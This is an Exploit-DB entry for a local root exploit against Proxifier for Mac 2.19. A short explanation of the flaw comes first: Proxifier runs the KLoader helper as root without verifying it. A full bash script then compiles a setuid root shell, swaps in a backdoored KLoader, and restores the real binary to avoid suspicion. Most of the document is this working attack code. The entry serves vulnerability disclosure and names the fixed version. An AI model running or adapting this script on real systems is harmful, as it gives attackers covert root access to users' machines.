Exploit-DB #43225
Description: Proxifier for Mac 2.19 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-12-06
Author: Mark Wadham

Exploit:
# With CVE-2017-7643 I disclosed a command injection vulnerablity in the KLoader
# binary that ships with Proxifier <= 2.18.
#
# Unfortunately 2.19 is also vulnerable to a slightly different attack that
# yields the same result.
#
# When Proxifier is first run, if the KLoader binary is not suid root it gets
# executed as root by Proxifier.app (the user is prompted to enter an admin
# password).  The KLoader binary will then make itself suid root so that it
# doesn't need to prompt the user again.
#
# The Proxifier developers added parameter sanitisation and kext signature
# verification to the KLoader binary as a fix for CVE-2017-7643 but Proxifier.app
# does no verification of the KLoader binary that gets executed as root.
#
# The directory KLoader sits in is not root-owned so we can replace it with
# our own binary that will get executed as root when Proxifier starts.
#
# To avoid raising any suspicion, as soon we get executed as root we can swap
# the real KLoader binary back into place and forward the execution call on
# to it.  It does require the user to re-enter their credentials the next time
# Proxifier is run but it's likely most users wouldn't think anything of this.
#
# Users should upgrade to version 2.19.2.
#
# https://m4.rkw.io/proxifier_privesc_219.sh.txt
# 3e30f1c7ea213e0ae1f4046e1209124ee79a5bec479fa23d0b2143f9725547ac
# -------------------------------------------------------------------

#!/bin/bash

#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.19                                           #
#####################################################################
# by m4rkw,  shouts to #coolkids :P                                 #
#####################################################################

cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>

int main()
{
  setuid(0);
  seteuid(0);

  execl("/bin/bash", "bash", NULL);
  return 0;
}
EOF

gcc -o /tmp/a a.c

cat > a.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(int ac, char *av[])
{
  if (geteuid() != 0) {
    printf("KLoader: UID not set to 0\n");
    return 104;
  } else {
    seteuid(0);
    setuid(0);

    chown("/tmp/a", 0, 0);
    chmod("/tmp/a", strtol("4755", 0, 8));
    rename("/Applications/Proxifier.app/Contents/KLoader2", "/Applications/Proxifier.app/Contents/KLoader");
    chown("/Applications/Proxifier.app/Contents/KLoader", 0, 0);
    chmod("/Applications/Proxifier.app/Contents/KLoader", strtol("4755", 0, 8));
    execv("/Applications/Proxifier.app/Contents/KLoader", av);

    return 0;
  }
}
EOF

mv -f /Applications/Proxifier.app/Contents/KLoader /Applications/Proxifier.app/Contents/KLoader2
gcc -o /Applications/Proxifier.app/Contents/KLoader a.c
rm -f a.c

echo "Backdoored KLoader installed, the next time Proxifier starts /tmp/a will become suid root."